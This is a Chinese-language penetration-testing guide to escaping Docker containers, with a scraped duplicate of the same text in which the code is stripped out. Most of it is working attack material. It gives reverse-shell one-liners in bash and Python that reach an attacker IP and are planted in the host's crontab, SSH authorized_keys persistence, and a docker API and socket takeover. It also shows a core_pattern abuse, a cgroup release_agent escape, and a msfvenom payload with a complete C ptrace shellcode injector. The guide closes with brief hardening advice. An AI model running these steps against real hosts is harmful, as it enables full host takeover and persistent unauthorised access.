Docker Escape Summary
字数 2240 2025-08-29 22:41:11

Docker 逃逸技术全面指南

一、Docker 环境判断

1. 检查 .dockerenv 文件

  • 路径:/.dockerenv
  • 存在此文件通常表明当前处于 Docker 容器中

2. 检查 /proc/1/cgroup

  • 命令:cat /proc/1/cgroup
  • 如果输出中包含明显的 docker 标识,则表明处于 Docker 容器中

3. 检查环境变量

  • 命令:hostname
  • Docker 容器的主机名通常会带有容器相关的标识(如容器ID)

二、特权模式逃逸

1. 判断特权模式

  • 命令:cat /proc/self/status | grep CapEff
  • 特权模式特征:CapEff 掩码值为 0000003fffffffff0000001fffffffff

2. 利用步骤

  1. 列出磁盘设备:fdisk -l
  2. 创建挂载目录:mkdir /meteorkai
  3. 挂载宿主机磁盘:mount /dev/vda1 /meteorkai

3. 逃逸方法

方法一:定时任务反弹shell

  1. 写入定时任务:
    echo 'SHELL=/bin/bash' > /meteorkai/var/spool/cron/crontabs/root
    echo '* * * * * /bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1' >> /meteorkai/var/spool/cron/crontabs/root
    
  2. 设置权限:chmod 600 /meteorkai/var/spool/cron/crontabs/root

注意事项

  • 不同Linux发行版定时任务路径不同:
    • /var/spool/cron:Debian、Ubuntu、CentOS、RedHat等
    • /etc/crontabs:Alpine Linux等轻量级发行版
  • Cron默认使用/bin/sh(dash),不支持/dev/tcp,需指定SHELL=/bin/bash

方法二:Python反弹shell

echo '* * * * * /usr/bin/python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"攻击机IP\",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"' >> /meteorkai/var/spool/cron/crontabs/root

方法三:写入SSH公钥

  1. 生成密钥对:ssh-keygen -t rsa -b 4096 -f my_key -N ""
  2. 写入公钥:cat my_key.pub >> /meteorkai/root/.ssh/authorized_keys
  3. 使用私钥连接:ssh -i my_key root@宿主机IP

三、Docker API未授权逃逸

1. 判断漏洞

  • 访问 http://目标IP:2375/versionhttp://目标IP:2375/info
  • 如果返回Docker信息则存在漏洞

2. 利用方法

docker -H tcp://目标IP:2375 run --rm --privileged -it -v /:/mnt busybox chroot /mnt sh
  • --privileged:获取真正的root权限
  • -v /:/mnt:挂载宿主机根目录到容器/mnt目录
  • chroot /mnt sh:切换根目录到宿主机文件系统

四、Docker Socket逃逸

1. 判断条件

  • 检查 /var/run/docker.sock 是否存在

2. 利用步骤

  1. 安装Docker客户端(如不存在)
  2. 创建新容器并挂载宿主机根目录:
    docker run -it -v /:/mnt --privileged=true alpine
    
  3. 通过挂载的目录进行权限维持(如写入定时任务或SSH公钥)

五、Procfs危险挂载逃逸

1. 判断条件

  • 查找core_pattern文件:find / -name core_pattern
  • 如果找到两个core_pattern文件,则可能挂载了宿主机的procfs

2. 利用步骤

  1. 确定容器在宿主机上的绝对路径:
    • 查找/var/lib/docker/overlay2/下的merged目录
  2. 创建恶意脚本(如.meteor.py)并赋权:
    echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' > /tmp/.meteor.py
    chmod 777 /tmp/.meteor.py
    
  3. 修改core_pattern:
    echo -e "|/var/lib/docker/overlay2/容器ID/merged/tmp/.meteor.py\rcore " > /挂载点/proc/sys/kernel/core_pattern
    
  4. 触发崩溃执行恶意脚本

六、Cgroup配置错误逃逸(cgroup-v1)

1. 利用条件

  • 以root用户运行
  • 具有SYS_ADMIN权限
  • 未配置AppArmor
  • cgroup v1以读写方式挂载

2. 利用步骤

  1. 创建并挂载cgroup:
    mkdir /tmp/meteorkai
    mount -t cgroup -o memory cgroup /tmp/meteorkai
    
  2. 创建子目录并启用通知:
    mkdir /tmp/meteorkai/conf
    echo 1 > /tmp/meteorkai/conf/notify_on_release
    
  3. 获取宿主机路径:
    host_path=`sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab`
    
  4. 设置release_agent:
    echo "$host_path/cmd" > /tmp/meteorkai/release_agent
    
  5. 创建恶意脚本:
    echo '#!/bin/sh' > /cmd
    echo '/bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1' >> /cmd
    chmod 777 /cmd
    
  6. 触发执行:
    sh -c "echo \$\$ > /tmp/meteorkai/conf/cgroup.procs"
    

七、SYS_PTRACE进程注入逃逸

1. 利用条件

  • 具有SYS_PTRACE权限:capsh --print | grep cap_sys_ptrace
  • 与宿主机共享进程命名空间:ps aux | grep dockerd能看到宿主机进程
  • 以root权限运行

2. 利用步骤

  1. 生成shellcode:
    msfvenom -p linux/x64/shell_reverse_tcp LHOST=攻击机IP LPORT=端口 -f c
    
  2. 编译注入程序(infect.c):
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #include <sys/ptrace.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <unistd.h>
    #include <sys/user.h>
    #include <sys/reg.h>
    
    // 替换为生成的shellcode
    const char *shellcode = "\x...";
    
    int main(int argc, char **argv) {
        pid_t target;
        struct user_regs_struct regs;
        int syscall;
        long dst;
    
        if(argc != 2) {
            printf("Usage: %s <pid>\n", argv[0]);
            exit(1);
        }
    
        target = atoi(argv[1]);
        printf("+ Tracing process %d\n", target);
    
        if(ptrace(PTRACE_ATTACH, target, NULL, NULL) < 0) {
            perror("ptrace(ATTACH)");
            exit(1);
        }
    
        printf("+ Waiting for process...\n");
        wait(NULL);
    
        ptrace(PTRACE_GETREGS, target, NULL, &regs);
    
        unsigned char *src = (char *)&regs.rip;
        memcpy(&dst, src, sizeof(long));
        printf("+ RIP: 0x%lx\n", dst);
    
        printf("+ Injecting shellcode at 0x%lx\n", dst);
    
        int i;
        for(i = 0; i < strlen(shellcode); i++) {
            ptrace(PTRACE_POKETEXT, target, dst + i, *(long *)(shellcode + i));
        }
    
        regs.rip += 2;
        ptrace(PTRACE_SETREGS, target, NULL, &regs);
        ptrace(PTRACE_DETACH, target, NULL, NULL);
    
        printf("+ Done!\n");
        return 0;
    }
    
  3. 查找目标进程(如/bin/bash)
  4. 执行注入:./infect 目标PID

八、容器/内核漏洞利用

1. 使用CDK工具

  1. 上传CDK到容器
  2. 信息收集:./cdk_linux_amd64 evaluate
  3. 挂载宿主机磁盘:./cdk_linux_amd64 run mount-disk
  4. 通过挂载目录进行权限维持

2. 常见漏洞

  • CVE-2019-5736(runc漏洞)
  • CVE-2021-30465(容器逃逸漏洞)
  • CVE-2022-0492(cgroups漏洞)

九、防御建议

  1. 避免使用--privileged特权模式
  2. 限制容器能力:--cap-drop=ALL --cap-add=必要的
  3. 使用只读文件系统:--read-only
  4. 配置AppArmor或SELinux
  5. 禁止挂载敏感目录(如/proc、/sys)
  6. 定期更新Docker和内核版本
  7. 保护Docker API和Socket(设置认证和权限)
  8. 监控容器异常行为

通过以上技术,渗透测试人员可以全面评估Docker环境的安全性,发现潜在的容器逃逸风险。在实际测试中,应根据目标环境选择最适合的逃逸方法。

Docker 逃逸技术全面指南 一、Docker 环境判断 1. 检查 .dockerenv 文件 路径: /.dockerenv 存在此文件通常表明当前处于 Docker 容器中 2. 检查 /proc/1/cgroup 命令: cat /proc/1/cgroup 如果输出中包含明显的 docker 标识,则表明处于 Docker 容器中 3. 检查环境变量 命令: hostname Docker 容器的主机名通常会带有容器相关的标识(如容器ID) 二、特权模式逃逸 1. 判断特权模式 命令: cat /proc/self/status | grep CapEff 特权模式特征:CapEff 掩码值为 0000003fffffffff 或 0000001fffffffff 2. 利用步骤 列出磁盘设备: fdisk -l 创建挂载目录: mkdir /meteorkai 挂载宿主机磁盘: mount /dev/vda1 /meteorkai 3. 逃逸方法 方法一:定时任务反弹shell 写入定时任务: 设置权限: chmod 600 /meteorkai/var/spool/cron/crontabs/root 注意事项 : 不同Linux发行版定时任务路径不同: /var/spool/cron :Debian、Ubuntu、CentOS、RedHat等 /etc/crontabs :Alpine Linux等轻量级发行版 Cron默认使用 /bin/sh (dash),不支持 /dev/tcp ,需指定 SHELL=/bin/bash 方法二:Python反弹shell 方法三:写入SSH公钥 生成密钥对: ssh-keygen -t rsa -b 4096 -f my_key -N "" 写入公钥: cat my_key.pub >> /meteorkai/root/.ssh/authorized_keys 使用私钥连接: ssh -i my_key root@宿主机IP 三、Docker API未授权逃逸 1. 判断漏洞 访问 http://目标IP:2375/version 或 http://目标IP:2375/info 如果返回Docker信息则存在漏洞 2. 利用方法 --privileged :获取真正的root权限 -v /:/mnt :挂载宿主机根目录到容器/mnt目录 chroot /mnt sh :切换根目录到宿主机文件系统 四、Docker Socket逃逸 1. 判断条件 检查 /var/run/docker.sock 是否存在 2. 利用步骤 安装Docker客户端(如不存在) 创建新容器并挂载宿主机根目录: 通过挂载的目录进行权限维持(如写入定时任务或SSH公钥) 五、Procfs危险挂载逃逸 1. 判断条件 查找core_ pattern文件: find / -name core_pattern 如果找到两个core_ pattern文件,则可能挂载了宿主机的procfs 2. 利用步骤 确定容器在宿主机上的绝对路径: 查找 /var/lib/docker/overlay2/ 下的 merged 目录 创建恶意脚本(如 .meteor.py )并赋权: 修改core_ pattern: 触发崩溃执行恶意脚本 六、Cgroup配置错误逃逸(cgroup-v1) 1. 利用条件 以root用户运行 具有SYS_ ADMIN权限 未配置AppArmor cgroup v1以读写方式挂载 2. 利用步骤 创建并挂载cgroup: 创建子目录并启用通知: 获取宿主机路径: 设置release_ agent: 创建恶意脚本: 触发执行: 七、SYS_ PTRACE进程注入逃逸 1. 利用条件 具有SYS_ PTRACE权限: capsh --print | grep cap_sys_ptrace 与宿主机共享进程命名空间: ps aux | grep dockerd 能看到宿主机进程 以root权限运行 2. 利用步骤 生成shellcode: 编译注入程序(infect.c): 查找目标进程(如/bin/bash) 执行注入: ./infect 目标PID 八、容器/内核漏洞利用 1. 使用CDK工具 上传CDK到容器 信息收集: ./cdk_linux_amd64 evaluate 挂载宿主机磁盘: ./cdk_linux_amd64 run mount-disk 通过挂载目录进行权限维持 2. 常见漏洞 CVE-2019-5736(runc漏洞) CVE-2021-30465(容器逃逸漏洞) CVE-2022-0492(cgroups漏洞) 九、防御建议 避免使用 --privileged 特权模式 限制容器能力: --cap-drop=ALL --cap-add=必要的 使用只读文件系统: --read-only 配置AppArmor或SELinux 禁止挂载敏感目录(如/proc、/sys) 定期更新Docker和内核版本 保护Docker API和Socket(设置认证和权限) 监控容器异常行为 通过以上技术,渗透测试人员可以全面评估Docker环境的安全性,发现潜在的容器逃逸风险。在实际测试中,应根据目标环境选择最适合的逃逸方法。